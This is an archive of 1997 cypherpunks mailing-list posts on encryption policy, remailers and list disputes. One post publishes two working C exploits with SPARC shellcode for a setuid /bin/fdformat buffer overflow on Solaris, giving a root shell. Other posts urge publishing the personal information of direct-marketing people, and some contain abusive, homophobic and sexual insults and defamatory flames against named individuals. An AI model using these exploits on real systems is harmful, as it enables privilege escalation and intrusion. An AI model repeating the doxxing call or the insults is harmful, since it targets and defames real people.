-----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:jonathan@gaw.net to Harka <=- In> the responses i've gotten have been all too theoretical and, i In> believe, too hypothetical and removed for most people. when asked if <snip> In> i don't disagree with the people on the list. i am just having In> a hard time translating it to the public in concrete terms. >At 09:50 PM 3/22/97 -0500, you wrote: >>Information warfare. Collect information about DMA people, using >>their own weapons against them. Then post it somewhere on the >>Internet via remailers and cc themselves, Reuters and the New York >>Times... Think about it. If there were a couple widely publicized cases, where all the easily obtainable information of individuals were publically postet on the Net, the "public" as such would become aware of it. An example was the Oregon DMV CD... Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMzT+wTltEBIEF0MBAQElHwf8DePdkRRvp+KJ4FMKRAOUgEKOCEHgB4uD uJSC8rJklzmA2h3kr2aZ/8GqU7mKfKjn3teTz35dRqW3DdwscdVx4hqw2PG+aoV/ RSDMcSYZJiHfTmXPdGhpIp+94OpZ77AVGK5VMloe5/DXqEfvrLmQKNQ2FWlFt7nu BK1Cu48oK6WkEhvehJNpV0/fZ+iArQPzE/Pd2PoqzdHf1+Vfdi3cmzQdi5e9QZd1 vdG1ous5QLKpFwMjT8VvvgyIltfApk5h80Yk0hGXLVfsQ5JzmtVDKJumeidAWDtS xaylFwIcXWbHMWOapQpJbMRO6Y5tEUKFRVgViYdmaqGSuskSHC2u9Q== =uNPm -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

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Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I'll quote without comment an article from the alt.cypherpunks newsgroup. ]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf ]From: sethf(a)athena.mit.edu (Seth Finkelstein) ]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks ]Subject: The flames from the (gG)raves ]Date: 22 Mar 1997 03:12:09 GMT ]Organization: Massachvsetts Institvte of Technology ]Lines: 269 ]Distribution: inet ]Message-ID: <5gvim9$9d8(a)senator-bedfellow.MIT.EDU> ]References: <5gkfag$36o(a)quixote.stanford.edu> <5gmnuj$1ha(a)senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC(a)quixote.stanford.edu> <5gqfpk$ate(a)senator-bedfellow.MIT.EDU> <5gv2kg$lc5(a)quixote.stanford.edu> ]Reply-To: sethf(a)mit.edu ]NNTP-Posting-Host: frumious-bandersnatch.mit.edu ] ] ]In article <5gv2kg$lc5(a)quixote.stanford.edu>, Rich Graves <rcgraves(a)disposable.com> ]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined ]>the following post to be inappropriate for children and fight-censorship ]>subscribers. Only Seth Finkelstein has been empowered to speak the whole ]>truth by the anti-censorship review board. Please enter the following into ]>your killfile: ] ] Rich is getting nuttier and nuttier. This is not ]unexpected. His pattern is to get more and more slimy as you argue ]with him. Note that the fact that he argues with people who are ]themselves very vile people, Holocaust-deniers, does not change the ]demonstrated truth of this statement. This is again why many people ]end up just ignoring him completely and not wanting to read anything ]from him. ] ]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please. ] ] And I've noted many a time, my qualification is I-was-there. ]I have, however, repeatedly tried to resolve this dispute and read all ]your articles (aggravating though it is almost all of the time). That ]should be worth something. ] ]>No, I mean it. From articles <5ghg1t$7j4$5(a)nntp2.ba.best.com> and ]><5ghg1n$7j4$4(a)nntp2.ba.best.com>, just to be sure I guess: ]> ]>|Rich, have you ever wondered why so many diverse people, with wildly ]>|diverse political views, have accused you of being a left or center ]>|fascist or a commie sympathiser. ]>| ]>|And no, the, fact that you have been accused of being a commie symp is ]>|not evidence that those who called you a fascist were wrong, and vice ]>|versa. The various political positions you have been accused of, tend ]>|to be hard to distinguish in practice. ] ] I suspect this is some sort of a trap, but, noting that I am ]walking into this with my eyes open and aware of it: Rich has lied ]here, and in all the referenced quotes below. They are not from me, ]but someone else. By this tactic, he hopes to imply that if I call him ]a liar, and someone else (say a Holocaust-denier) does the same thing, ]both are equally valid. It is exactly the trick I just detailed a ]posting or two ago, imposing moral equivalence on his critics. ] But note, he did not have to lie in the above to do this ]rhetorical tactic. He could have tried to pull it off by contrasting ]similar-sounding, but correctly-attributed, quotes. But he did not, he ]lied repeatedly. There is no way this sort of thing can be explained ]by benefit of the doubt or a human error or believing separate ]reports. It is a malicious and knowing fabrication. By the standards ]Rich espouses (for other people ...) this should condemn him for all ]eternity. ] ]>And article <5gi741$cbp$1(a)nntp2.ba.best.com>: ]> ]>|Another example of your disturbing affection for state informers and ]>|government goons with guns. ]>[...] ]>|I have no idea what these claims are, but I confidently believe a ]>|couple of things about you that you have forcefully denied. ] ] Didn't write that. I don't care what Rich thinks about guns, ]though I wonder if he should be in one of the groups which should ]certainly be denied them (... history of mental illness). ] ]>And article <5gmff0$109$4(a)nntp2.ba.best.com>: ]> ]>|You are a habitual liar, an apologist for state repression, and a ]>|loon. ] ] Didn't write that. I don't know about "habitual", but I suppose ]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY! ] ]>And <5gqbd5$rkm$2(a)nntp2.ba.best.com>: ]> ]>|You piously declare you are on the side of the angels, while ]>|systematically circulating lies that hurt us and benefit the enemy. ] ] Didn't write it, but I could have :-). But the trick there is ]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy", ]but in my mind "Sensation-Mongering Journalists". The two statements ]then may *sound* alike, but actually be completely different. ] ]>And <5gu8v6$nf$2(a)nntp2.ba.best.com>: ]> ]>|Rich regularly circulates "facts" that are systematically off base in ]>|ways that legitimize and justify the lawless acts of governments and ]>|which denigrate peoples rights. ] ] Didn't write it, again, I very rarely deal with Rich's ]general beliefs about government. I get far too much of him as it is. ] ]>|When called on these he then piously whines how much in favor of ]>|liberty he is. ]>| ]>|He is damned statist liar. ] ] Didn't write it, wouldn't say "statist liar". Of course, this ]repeated tactic of misattribution and the broader trick will speak for itself. ] ]>And <5gu8i6$nf$1(a)nntp2.ba.best.com>: ]> ]>|Oh aren't you wonderful ]>| ]>|You talk the talk but you do not walk the walk. ]>| ]>|You are not on Phil Zimmerman's side. You are on the side of the ]>|feds. ] ] Nowadays, I don't think Rich has any side except his own. He ]strikes me as dangerously unstable. Luckily, he only explodes in whining ]rants - so far. ] ]>Please read no further. This is your last warning. ]> ]>OK, I lied. I do that habitually, don't you know. THIS is your last ]>warning. ] ] Doesn't make it right. Most of the time, you slant and ignore ]contrary evidence. That hasn't worked for you in this thread, so now ]you've escalated. One might also point to the absurdity of posting ]long vitriolic articles and saying "don't read this". It's part of a ]pattern of doing something nasty and vicious and vile, and then ]denying that you're actually doing it. ] ] ]>In article <5gqfpk$ate(a)senator-bedfellow.MIT.EDU>, ]>Seth Finkelstein <sethf(a)mit.edu> wrote: ]>> This is so ironic given your venom-filled postings. Yes, I am ]>>flaming you back. It's not nearly as fun when the target is defending ]>>themselves, is it? You just can't get away with the mud without consequences. ]> ]>Seth, you weren't the target, though for what you've done with your ]>miscarried "Justice on Campus," you should be. Since you insist, I'll ]>remedy that lack below. ] ] Umm, you've flamed a lot of people in this thread. And Justice ]on Campus has a lot of contributors, I can't take all credit or blame ]for every part it. I've had a heavy role in some parts of it, and ]deferred in other pieces. ] ]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on ]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's ]>>>reasonable and civil reply to me. Note that there were several reasonable ]>>>and civil followups. Note that the current topic of this thread did not ]>>>start until March 13th. Note when you arrived, when the content-free ]>>>flames started, and how I broke off a more reasonable subthread to get ]>> ^^^^^^^^^^^^^^ ]>> ]>> Wrong. Note that you smeared everyone around in article ]>>id <5g9sin$g5p(a)quixote.stanford.edu>, that's what started the flame war. ]> ]>Yes, the date on that article is March 13th. There were nine articles in ]>the thread prior to that one. The first post to the thread was March 1st, ]>following up to John Wallace's citation of my name on the so-called ]>fight-censorship list in late February. I was unable to respond to the ]>invocation of my name on the fight-censorship list, so I posted the ]>article here, on March 1st. ] ] Consider the phrase "Note when you arrived, when the ]content-free flames started ...". I arrived *after* you started the ]flamewar, and your mudfest is what began it. You spit in the thread, ]don't complain it now tastes bad. ] ]>> This is the sort of rewriting of history Rich does. He posts some ]>>nasty, provocative flames. When people flame him back, he acts so hurt, ]>>and edits out his part in his retelling, playing the wounded innocent. ]> ]>This is, of course, the unalloyed truth. ] ] We see it demonstrated over and over again. Look at your rewriting ]above. ] ]>>>> Donna Riley and Jean DeCamp shouldn't be touched with a ]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me ]>>> ]>>>She should have, with the smear campaign you continue to run against her, ]>> ]>> Her own words condemn her. She'd like to run away from them, ]>>but she can't. ]> ]>I see. How good of you to post selected quotes prominently on the web for ]>more than two years, especially the ones that explicitly read "This is ]>private email" and "Please consider this paragraph confidential." ]>http://joc.mit.edu/footnotes/c3-ljc.txt ] ] Wrong. All the material is there, has been from early on. Read ]the whole thing, http://joc.mit.edu/charges.html#3 , especially ]http://joc.mit.edu/docs/camp.brief.txt . ] In fact, I think my first tussle with her was explaining why ]she was utterly wrong to allege "libelous" in that case, a mistake you ]repeated, but you should know better. ] ]>Justice on Campus. ] ] Take your complaint to all the papers and magazines printing ]Timothy McVay's "confession?" now. ] ]>>>But she didn't take a swing at you, did she? I can only think of one ]>>>person mentioned in this thread who was arrested and convicted for taking ]>>>swings at someone he was living with. "Justice on Campus" they call the ]>> ]>> Actually, said person was falsely and maliciously accused by ]>>the ex- who has a history of making far-out accusation, on the eve of ]>>their relationship breakup, and couldn't afford to fight it all the ]>>way through (for years?). But talk about one-sided, Rich wouldn't tell ]>>you any of that. ]> ]>Right. I haven't posted the URL for the police report, which mentions ]>third parties Yang and Gardy calling the police when they heard the ] ] Nor have you mentioned it's hosted by the same person who made ]bogus harassment charges against JOC and me, which where completely ]false and malicious, and has an amazing history of prevarication. ] ]>some concern for personal privacy. I will merely say that in my personal ]>opinion, you are a disgusting individual for allowing yourself to be so used. ] ] I love you too. ] ]>If you don't think a reasonable and prudent person would read the ]>police report or judgement this way, then by all means, post the URL on ]>"Justice" on Campus. You consider it your duty to post selected personal ]>email between third parties; why not public record? ] ] I personally believe there's something wrong with it, because ]it's hosted by the very same guy who tried to get JOC and me in trouble ]with manufactured malicious charges. See http://joc.mit.edu/attack.html ] If I were dealing with it, I'd put *everything* up in defense, ]but again, I understand at a human level the reaction not to wallow ]though the mud of an angry ex-'s accusations. ] ]>> You're very mixed up. Bogus harassment charges were filed ]>>against *me*, and it gave me a very good view of CMU-style politics. ]>>They use harassment charges and threats as standard weapons down there. ]> ]>I see. Again, this is the unalloyed truth. "Justice on Campus." ] ] Rich, exactly what part do you doubt? That charges were made? ]That's never been denied by anyone involved. That they were phony? ]Well, given that I was hundreds of miles away, and I don't think I ]ever sent the guy e-mail, it's hard to make an argument (unless you ]consider Usenet flaming to be sufficient, which I would really advise ]you not to do). So yes, that's the unalloyed truth. ] ]>>>Yes. Two simple wording changes. Please change the name of the list to ]>>>"fight" and change the word "unmoderated" to "moderated." ]>> ]>> In other words, *SNEER*. It's not about the wording, it's ]>>about your whining, nothing would make you happy, you just want an ]>>issue to cry about. ]> ]>Two simple changes to the wording, in the interest of accuracy. That's all. ] ] "Lightly moderated with regard to participants" seems very non-sneery, ]but I doubt it'll make you happy. ] ]>> Explain to me how importing this flame war onto the mailing ]>>list is going to help anything at all. It seems to me it'd just make ]>>things worse. ]> ]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship ]>Committee and mull it over at your leisure. I'm in no hurry. ] ] So tell me how it's going to help anything. At this point, I ]think you're beyond help. ] ]-- ]Seth Finkelstein sethf(a)mit.edu ]Disclaimer : I am not the Lorax. I speak only for myself. ](and certainly not for Project Athena, MIT, or anyone else). ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
by Cristian Schipor 17 Dec '03

17 Dec '03

motto: " No one would have believed in the last years of the nineteenth century that this world was being watched keenly and closely by intelligences greater than man's and yet as mortal as his own; that as men busied themselves about their various concerns they were scrutinised and studied, perhaps almost as narrowly as a man with a microscope might scru- tinise the transient creatures that swarm and multiply in a drop of water." H.G.Wells - "The War of the Worlds" Sun Mar 23 16:56:15 EET 1997 Romania "Remake for bufer-overflow in find_media() now in /bin/fdformat" The buffer overflow bug I posted to you in Mar 13 1997 is present in /bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions the suid-exec bit on and it is owned by root). By exploiting fdformat with suid-exec bit on, anyone can gain a root (or who is the owner of fdformat) shell. So, to prevent an fdformat exploit, remove the suid-exec bit from /bin/fdformat. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro, skipo(a)sundy.cs.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 See http://www.math.pub.ro/security My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k k=1,2,3,...): --------------------------- lion24.c --------------------------------- /* Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET -56 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat ", &buf[0],(char *) 0); perror("execl failed"); } ------------------------------ end of lion24.c -------------------------- -------------------------------- lion25.c ------------------------------ /* Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 704 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0); perror("execl failed"); } --------------------------- end of lion25.c -------------------------------

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Interesting Job Offer
by Brad Dolan 17 Dec '03

17 Dec '03

>From *Nuclear News*, 3/97: YOUR OFFICE IS THE WORLD You are interested in the constant changes on the world stage and you want to become a part of it. Your workplace becomes this dynamic world arena when you choose a career as an overseas Operations Officer with the Central Intelligence Agency. PUT YOUR TECHNICAL EXPERTISE TO GOOD USE Right now, we are seeking highly motivated men and women with degrees in scientific and technical fields. To qualify, you must combine proven personal integrity and trustworthiness with qualifications in: + Electrical/Electronic Engineering + Computer Science + Physics + Nuclear Engineering + Mathematics We are particularly interested in individuals with undergraduate or postgraduate degrees in these disciplines who also have work experience in telecommunications, satellite communications, programming, networking, Internet communications or technology- related R&D efforts. A UNIQUE CAREER THAT IS NOT FOR EVERYONE If it's right for you, you'll know it. And you'll know you can't find it anywhere else. You must have a strong interest in international trends and events, in how advanced technologies impact areas such as international terrorism, narcotics trafficking, weapons development, world ecology and political stability. Apply your technological expertise to support U.S. security and make a positive difference in our world. COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS It takes more to qualify for this unusual career track than just technical expertise. You will be working in multicultural environments with foreign nationals, so you must be comfortable and "at home" anywhere in the world. Excellent written and verbal communication skills and foreign language proficiency are essential tools of your trade. Previous overseas residence or extensive foreign travel are definite assets. U.S. citizenship or legal resident status is required. All applicants must successfully complete a thorough medical and psychiatric exam, a polygraph interview and an extensive background investigation. The CIA encourages applications from men and women of every racial and ethnic background from all parts of the country. To apply, send your resume, along with a cover letter describing your interest in working overseas as a CIA Operations Officer. We will respond within 30 days if your application is evaluated as being of interest. Central Intelligence Agency Thomas Benning Dept. YOW-NN397 P.O. Box 12708 Rosslyn Station Arlington, VA 22209 The CIA is an equal opportunity employer CAREERS FOR A CHANGING WORLD Circle Reader Service No. 57

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Re: Britain to ban free use of crypto? (fwd)
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

[This message was run through an anonymizer as a spam-blocker. My .sig is at the end.] "Peter D. Junger" <junger(a)upaya.multiverse.com> stated: >After a very quick reading of this proposal I am convinced that all it >would do if implemented by legislation that follows its recommendations >would be to forbid those who are in the UK from using an unlicensed >key escrow services. > >It quite clearly does not intend to ban the use of cryptography or the >publication of cryptographic software. FWIW, the speaker from the UK government at CFP '97 described the proposal in almost exactly these terms. And tried to make clear that greater bans were not on the agenda, at least for now. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | "Cyberspace" is not a place. U. Miami School of Law | P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here.

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FWD: [PGP-USERS] Private Idaho banned
by camcc＠abraxis.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- >Resent-From: pgp-users-request(a)rivertown.net >X-Sender: joelm(a)mail.eskimo.com >Date: Sun, 23 Mar 1997 06:57:45 -0800 >To: pgp-users(a)rivertown.net >From: Joel McNamara <joelm(a)eskimo.com> >Reply-To: pgp-users(a)rivertown.net >Subject: [PGP-USERS] Private Idaho banned > >Just got some interesting correspondence from someone in the United Arab >Emirates. > >It appears the government is blocking access to my Private Idaho >distribution Web page. Apparently the UAE only allows ISP customers to >access the Net through a proxy server, similar to Singapore. They're >blocking out the typical nasty porn sites, Cindy Crawford fan clubs, etc. > >Well, obviously someone over there finds Private Idaho subversive enough to >block. > >Tsk, tsk, tsk. > >I'd appreciate any other accounts of countries that are blocking >http://www.eskimo.com/~joelm/pi.html or http://www.eskimo.com/~joelm. >Wonder if the UK will be next? > >Joel > -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMzVfKCKJGkNBIH7lAQE0ywQAr6SGyK+CUhzTPHSVmWAHlpKortgAUGl7 YWNQ+M9JplKfZhpJhH7KY4xtkmqoPlSZIRYGdobHlvTcPruzv0WmuMA/neXHuhJx LJQYiNxiN+cqobhrlCjce6h73HKBdi2qPgRQsLshnmbRJ/ddydThauWMp1qTruhv HiOlmlth0U0= =GXJy -----END PGP SIGNATURE-----

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Gilmore is sabotaging the lists again
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I cc:'d this to cypherpunks(a)cyberpass.com; one week later is bounced ]Subject: Returned mail: Cannot send message for 1 week ] ] ----- Transcript of session follows ----- ]While talking to www.cyberpass.com: ]>>> MAIL From:<dlv(a)bwalk.dm.com> ]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded ] ] ----- Unsent message follows ----- ]To: kszczypi(a)tele.pw.edu.pl (Krzysztof Szczypiorski) ]Cc: cypherpunks(a)cyberpass.com ]Subject: The mysterious disappearance of 1400 subscribers and gateways ]From: dlv(a)bwalk.dm.com (Dr.Dimitri Vulis KOTM) ]Comments: All power to the ZOG! ]Message-Id: <152L4D39w165w(a)bwalk.dm.com> ]Date: Sat, 15 Mar 97 09:01:23 EST ]In-Reply-To: <199703151216.NAA01640(a)titan.tele.pw.edu.pl> ]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. ] ][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ] ] ]kszczypi(a)tele.pw.edu.pl (Krzysztof Szczypiorski) writes: ] ]> Hi, I remember that you ara one of the most active people on cypherpunks ]> list. I've got the simple question: what the current status of cypherpunks ]> list is? Is the list moderated? The last posting that I've received is dated ]> on Feb 20... It was a couple of weeks ago.... :(( ] ]Cypherpunks is currently an unmoderated distributed list. You can send the ]command 'subscribe cypherpunks' to one of several sites: ] majordomo(a)algebra.com ] majordomo(a)ssz.com ] majordomo(a)cyberpass.com ] ]You can send submissions to cypherpunks@ any of these sites. ] ]If someone (Dale?) has saved the output from several 'who's over the last ]few months, it might be a good idea to e-mail them once and to tell them ]this. Apparently the new subscription instructions never made it to those ]who remained only on the moderated list. ] ]Wseho Nalepshego.

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[IMPORTANT] Cyclic codes
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim C. Mayo studied yoga back-streching exercises for five years so he could blow himself (nobody else will). )))) )) OO Tim C. Mayo 6 (_) `____c

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[PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
by Alec 17 Dec '03

17 Dec '03

>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST) >From: "Fred B. Ringel" <fredr(a)joshua.rivertown.net> >Reply-To: fredr(a)joshua.rivertown.net >To: pgp-users list <pgp-users(a)rivertown.net> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE *** > >Hi all- > > Here's another one from this week (in addition to jpunix). They are >dropping like flies, unfortunately. > > Boy, this really, really stinks. > > Fred >========================================================================== > > *** IMPORTANT NEWS REGARDING HAYSTACK(a)HOLY.COW.NET *** > > The Bovine Remailer, also known as haystack(a)holy.cow.net, is > hereby CLOSED. Mail sent to that address will bounce; I don't > know on a technical basis what putting it in the middle of a > remailer chain will do. There are no other remailers or anon > services associated with cow.net. > > It has been a fun year, but the simple fact is that running > a remailer is a thankless, embittering, nasty job. For every > success story of alternate or persecuted viewpoints seeing > the light of day, there are another four or five cases of > legal threats, use of the remailer to spam people who have > already turned off access to their accounts from other sources, > and the extremely disturbing trend of posting newsgroups > with falsified From: Headers, intending to cause endless spam > bots to mail the forged address. No one carefully put in a > forged address to endanger or misrepresent another person, > but it was only a matter of time. > > Haystack was running on a Sun 3/280 at the cow.net loft. At > the peak, this machine was recieving over one thousand > e-mails a day, doing PGP calculations, and sending them out, > and the 30mhz processor wasn't up to the task. The final > straw was the use of the remailer to send out several > hundred "MAKE MONEY FAST"-style messages to a group of > folks who then rebelled or retaliated to the remailer itself; > everyone associated in this sucks. > > If you think this is a shame, then put up your own remailer; > no doubt you'll have a thicker skin that the admins of > haystack, and will somehow flourish under the increasingly > fascist and overbearing environment of the Internet, but > the games up here, for now. > > Yes, for now. We might return some time in the future, > should technical and financial issues be solved, but it seems > rather unlikely at this juncture. > > Once again, if you enjoyed using haystack, you might consider > fighting the good fight and putting up your own. A good, > solid increase in remailers might save the culture. It is > nearly a crime that so much perfectly powerful computer > hardware exists out there, hooked to the net, and a mere > dozen computers, in our case quite aged, were/are doing the > remailing work. > > So, well, like we said, it's been a blast. See you later. > Moo. > > - The Haystack Administration. > >/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >Fred B. Ringel -- Rivertown.Net Internet Access >Systems Administrator -- http://www.rivertown.net >and General Fixer Upper -- Voice/Fax/Support: +1.914.478.2885 > Although in theory, there's no difference between > theory and practice, in practice, there is. > >

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Digital Signature Mock Trial
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm> X-Sender: rodney(a)pop3.pn.com Date: Sun, 23 Mar 1997 17:13:25 -0500 To: dcsb(a)ai.mit.edu From: Rodney Thayer <rodney(a)sabletech.com> Subject: Digital Signature Mock Trial Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Rodney Thayer <rodney(a)sabletech.com> >Date: Fri, 21 Mar 1997 18:37:16 -0500 >From: Dan Greenwood <dan(a)civics.com> > >Digital Signature Mock Trial >http://www.magnet.state.ma.us/itd/legal/mock1.htm > >The Commonwealth of Massachusetts Information Technology Division Legal >Department will sponsor a mock trial based on a dispute over a digitally >signed communication. This will be an online event, probably web-based. >There will also be a half-day "court room" mock trial to be held in >Boston in the spring. Anyone interested in helping to plan, or >participate in one or both of these mock trials should contact Dan >Greenwood at dgreenwood(a)state.ma.us. > >The purpose of this exercise will be to explore legal ramifications of >deploying digital signature technology as a business tool, including: >what grounds for a claim (consumer law, financial and banking law, >common law, other?); what issues arise relative to preserving certain >evidence for trial; the legal relationship between an "owner" >(subscriber) of a digital signature, a relying party and a certification >authority; what other evidentiary admissibility issues arise, how might >certain contract terms be interpreted (i.e.: what arguments might be >raised related to liability limitations, rights and duties under >contract); etc. The case >will be tried in a fictional jurisdiction and to fictional parties. > >The specific factual pattern (i.e.: who are the parties and what >happened to them) will be developed so as to highlight areas of legal >uncertainty and maximize the instructional value of this exercise. It is >expected that this exercise will assist the >Commonwealth of Massachusetts and other interested parties to more >efficiently manage liability and to better anticipate legal issues as we >look to deploy public key based network solutions. -------- Rodney Thayer <rodney(a)sabletech.com> PGP: BB1B6428 409129AC 076B9DE1 4C250DD8 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

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Re: "Dr. Roberts" and his advice to the list
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Timothy C. May wrote: > At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote: > >The remailer network itself may be treated as a black box. This means > >that if you suspect certain people are posting messages to a certain > >list you need only watch the timing of the suspect's posts to verify > >guesses. This makes an attack on the remailer network quite > >inexpensive because you need to monitor a relatively small number of > >people in your jurisdiction. > If a mix accumulates, say, 100 messages, and posts one of them to some > destination, no amount of "timing" analysis points to which of the 100 > incoming messages was the source...this is the essence of mixes/remailers. > (Modulo the usual assumptions about message size, encryption, etc.) I wouldn't be so certain about this. Consider the fact that the remailers can be initially studied through relatively _pure_ analysis, for starters. i.e. - a series of slow periods of remailer use where and entity can ensure that almost all of those 100 messages belong to them. Thus the remailer can be studied for non-random patterns that may be unknown even to the operator himself. Then consider the fact that many of the people using remailers have habits and patterns that can easily be studied and followed. i.e. - Time periods online, standard delay time used in posting commands, frequency and volume of their posts. You must also consider context and syntax analysis that point to the true author of anonymous posts, and the fact that, once known, their personal systems can be monitored to reveal the exact time and nature of their input into the remailers. Even knowledge of killfiles can eliminate some of the overhead for traffic analysis, eliminating some sources as being responsible for volume of anonymous email directed at certain subjects or authors. Many of the factors involved in traffic analysis can be obtained outside of the realm of actual input and output of the remailers themselves, thus narrowing the range of _unknown_ factors in that analysis. Certainly there has been much thought and consideration given to the remailer system, by people who allow for various methods of attack on and/or analysis of their system. However, the assumption of 100 _random_ messages can drop pretty fast when one takes into account the number of factors that may turn some of these messages into quantifiable and easily analyzed entities. Add to this the possibility of factors that are known to the attackers, but not to the defenders, and the margin of security drops even further. Care must be taken to realize that even if one is making efforts to conceal their email traffic, that the results of their efforts are also 